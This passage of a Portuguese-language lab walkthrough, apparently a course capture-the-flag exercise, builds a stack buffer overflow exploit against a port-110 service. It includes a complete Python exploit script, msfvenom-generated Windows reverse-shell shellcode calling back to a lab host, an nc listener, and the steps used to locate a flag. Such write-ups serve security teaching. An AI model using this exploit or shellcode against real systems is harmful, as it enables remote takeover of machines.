payload = b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
buffer = overflow + retn + padding + payload
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(timeout)
s.connect((ip, port))
print("[+] Conectado ao servidor!")
s.recv(1024)
s.send(b'USER ' + buffer + b'\r\n')
s.recv(1024)
s.send(b"QUIT\r\n")
s.close()
except Exception as e:
print("[-] Erro ao enviar o payload:", e)
NOP
O NOP (No Operation) é uma instrução da CPU que não realiza nenhuma ação, ela apenas avança para a próxima instrução.
Em arquitetura x86, o NOP é representado pelo byte
\x90
.
Em exploits, o NOP é usado para criar o chamado NOP sled, uma sequência de vários \x90
que leva até o shellcode, isso aumenta a margem de erro ao redirecionar a execução.
Se o salto (por exemplo, via JMP ESP
) cair em qualquer lugar do NOP sled, a execução vai "escorregar" até o shellcode, isso torna o exploit mais confiável, especialmente quando não se sabe o endereço exato do shellcode.
A quantidade de NOPs utilizada pode variar conforme o espaço disponível no buffer. De forma geral, entre 16 e 64 bytes de NOPs são suficientes em cenários comuns. No exploit desenvolvido, vamos usar um NOP sled de 32 bytes, garantindo uma margem segura para que a execução alcance corretamente o shellcode.
Adicione o seguinte na variável padding
:
padding = b"\x90" * 32
Shell Code
O shellcode é uma sequência de instruções binárias usada em exploits para executar comandos diretamente no sistema alvo. Normalmente injetamos ele na memória para que seja executado após o redirecionamento do fluxo via Buffer Overflow.
O shellcode pode abrir uma conexão reversa, criar um usuário, ou executar qualquer ação maliciosa. É chamado assim porque, historicamente, seu objetivo era abrir um shell (terminal) no sistema comprometido e vamos usar ele com esse intuito.
Para gerar o nosso Shell Code, podemos executar o comando abaixo no terminal do Kali Linux:
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.56.103 LPORT=4444 EXITFUNC=thread -b "\x00" -f python
Agora vamos modificar o script novamente para injetar esse shell code no payload. O script ficará da seguinte forma:
import socket
ip = "192.168.56.105"
port = 110
timeout = 5
offset = 5093
overflow = b"A" * offset
retn = b"\xf9\x24\x9e\x0f"
padding = b"\x90" * 32
buf = b""
buf += b"\xbb\x06\xe0\xed\x66\xdd\xc7\xd9\x74\x24\xf4\x5f"
buf += b"\x29\xc9\xb1\x52\x31\x5f\x12\x83\xc7\x04\x03\x59"
buf += b"\xee\x0f\x93\x99\x06\x4d\x5c\x61\xd7\x32\xd4\x84"
buf += b"\xe6\x72\x82\xcd\x59\x43\xc0\x83\x55\x28\x84\x37"
buf += b"\xed\x5c\x01\x38\x46\xea\x77\x77\x57\x47\x4b\x16"
buf += b"\xdb\x9a\x98\xf8\xe2\x54\xed\xf9\x23\x88\x1c\xab"
buf += b"\xfc\xc6\xb3\x5b\x88\x93\x0f\xd0\xc2\x32\x08\x05"
buf += b"\x92\x35\x39\x98\xa8\x6f\x99\x1b\x7c\x04\x90\x03"
buf += b"\x61\x21\x6a\xb8\x51\xdd\x6d\x68\xa8\x1e\xc1\x55"
buf += b"\x04\xed\x1b\x92\xa3\x0e\x6e\xea\xd7\xb3\x69\x29"
buf += b"\xa5\x6f\xff\xa9\x0d\xfb\xa7\x15\xaf\x28\x31\xde"
buf += b"\xa3\x85\x35\xb8\xa7\x18\x99\xb3\xdc\x91\x1c\x13"
buf += b"\x55\xe1\x3a\xb7\x3d\xb1\x23\xee\x9b\x14\x5b\xf0"
buf += b"\x43\xc8\xf9\x7b\x69\x1d\x70\x26\xe6\xd2\xb9\xd8"
buf += b"\xf6\x7c\xc9\xab\xc4\x23\x61\x23\x65\xab\xaf\xb4"
buf += b"\x8a\x86\x08\x2a\x75\x29\x69\x63\xb2\x7d\x39\x1b"
buf += b"\x13\xfe\xd2\xdb\x9c\x2b\x74\x8b\x32\x84\x35\x7b"
buf += b"\xf3\x74\xde\x91\xfc\xab\xfe\x9a\xd6\xc3\x95\x61"
buf += b"\xb1\x2b\xc1\x51\x26\xc4\x10\xa1\xb9\x48\x9c\x47"
buf += b"\xd3\x60\xc8\xd0\x4c\x18\x51\xaa\xed\xe5\x4f\xd7"
buf += b"\x2e\x6d\x7c\x28\xe0\x86\x09\x3a\x95\x66\x44\x60"
buf += b"\x30\x78\x72\x0c\xde\xeb\x19\xcc\xa9\x17\xb6\x9b"
buf += b"\xfe\xe6\xcf\x49\x13\x50\x66\x6f\xee\x04\x41\x2b"
buf += b"\x35\xf5\x4c\xb2\xb8\x41\x6b\xa4\x04\x49\x37\x90"
buf += b"\xd8\x1c\xe1\x4e\x9f\xf6\x43\x38\x49\xa4\x0d\xac"
buf += b"\x0c\x86\x8d\xaa\x10\xc3\x7b\x52\xa0\xba\x3d\x6d"
buf += b"\x0d\x2b\xca\x16\x73\xcb\x35\xcd\x37\xeb\xd7\xc7"
buf += b"\x4d\x84\x41\x82\xef\xc9\x71\x79\x33\xf4\xf1\x8b"
buf += b"\xcc\x03\xe9\xfe\xc9\x48\xad\x13\xa0\xc1\x58\x13"
buf += b"\x17\xe1\x48"
payload = buf
buffer = overflow + retn + padding + payload
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(timeout)
s.connect((ip, port))
print("[+] Conectado ao servidor!")
s.recv(1024)
s.send(b'USER ' + buffer + b'\r\n')
s.recv(1024)
s.send(b"QUIT\r\n")
s.close()
except Exception as e:
print("[-] Erro ao enviar o payload:", e)
Testando o Exploit
Antes de iniciar o teste do exploit, devemos reiniciar a aplicação porque ela travou e então recarregar novamente no Immunity.
Agora execute um nc
para abrir uma porta de escuta no Kali, vamos usar essa porta para que o alvo possa se conectar nela, nos fornecendo um shell reverso com acesso direto na máquina.
No kali, em outro terminal, execute o seguinte:
nc -nlvp 4444
Execute o script acima para injetar nosso payload e obter acesso a máquina.
$ python3 exploit.py
[+] Conectado ao servidor!
[-] Erro ao enviar o payload: timed out
Nesse momento, podemos ver que estamos com o shell da máquina Windows:
Explorando a vulnerabilidade
Vamos agora explorar a vulnerabilidade na máquina MZ da FIAP Invest. Não se esqueça de trocar o IP no script.
Olhando a máquina nao encontrei nada, então procurei pelos arquivos acessados por último:
dir "C:\Users\Ciber\AppData\Roaming\Microsoft\Windows\Recent"
Agora devemos descobrir onde está o arquivo flag.txt
, para isso vamos usar o comando abaixo, ele vai exibir o TargetPath
, ou seja, o caminho real onde o arquivo Flag.txt
estava no momento em que foi aberto.
type "C:\Users\Ciber\AppData\Roaming\Microsoft\Windows\Recent\Flag.txt.lnk"
��P�O� �:i�+00�/C:\t1uP'�Users��:�uP'�*�6Users@shell32.dll,-21813L1aW��Ciber�uP'�aW��*�Ciberz1aW�Desktop�uP)�aW�*�:Desktop@shell32.dll,-21769b2bW@ FLAGTX~1.TXT�bW@bW@*I�Flag.txt.txtR-Q<Ư�C:\Users\Ciber\Desktop\Flag.txt.txt#..\..\..\..\..\Desktop\Flag.txt.txtC:\Users\Ciber\Desktop( �1SPS�XF�L8C���&�m�`�Xricycds1wrV�� W�J�qnն
�Ohx{ y��'�w�rV�� W�J�qnն
�Ohx{ y��'�w�
Podemos ver que o arquivo de link possui c:\Users\Ciber\Desktop\Flag.txt.txt
, vamos tentar recuperar ele com o comando abaixo:
powershell -Command "(New-Object -ComObject WScript.Shell).CreateShortcut('C:\Users\Ciber\Desktop\Flag.txt.lnk').TargetPath"
Ainda assim não aparece lá, mas podemos tentar exibir o conteúdo do arquivo:
type c:\Users\Ciber\Desktop\Flag.txt.txt
Flag{UG9zVGVjaCBGSUFQIFJlZCBUZWFtIC0gQnVmZmVyIE92ZXJGbG93IENsYXNzaWNvCg}
ATENCAO: Desencode a Flag e lance-a em texto claro no sistema!
Para decodificar vamos usar o site https://gchq.github.io/CyberChef/. No Input basta colocar a hash, na receita coloque "Magic" e depois clique em BAKE.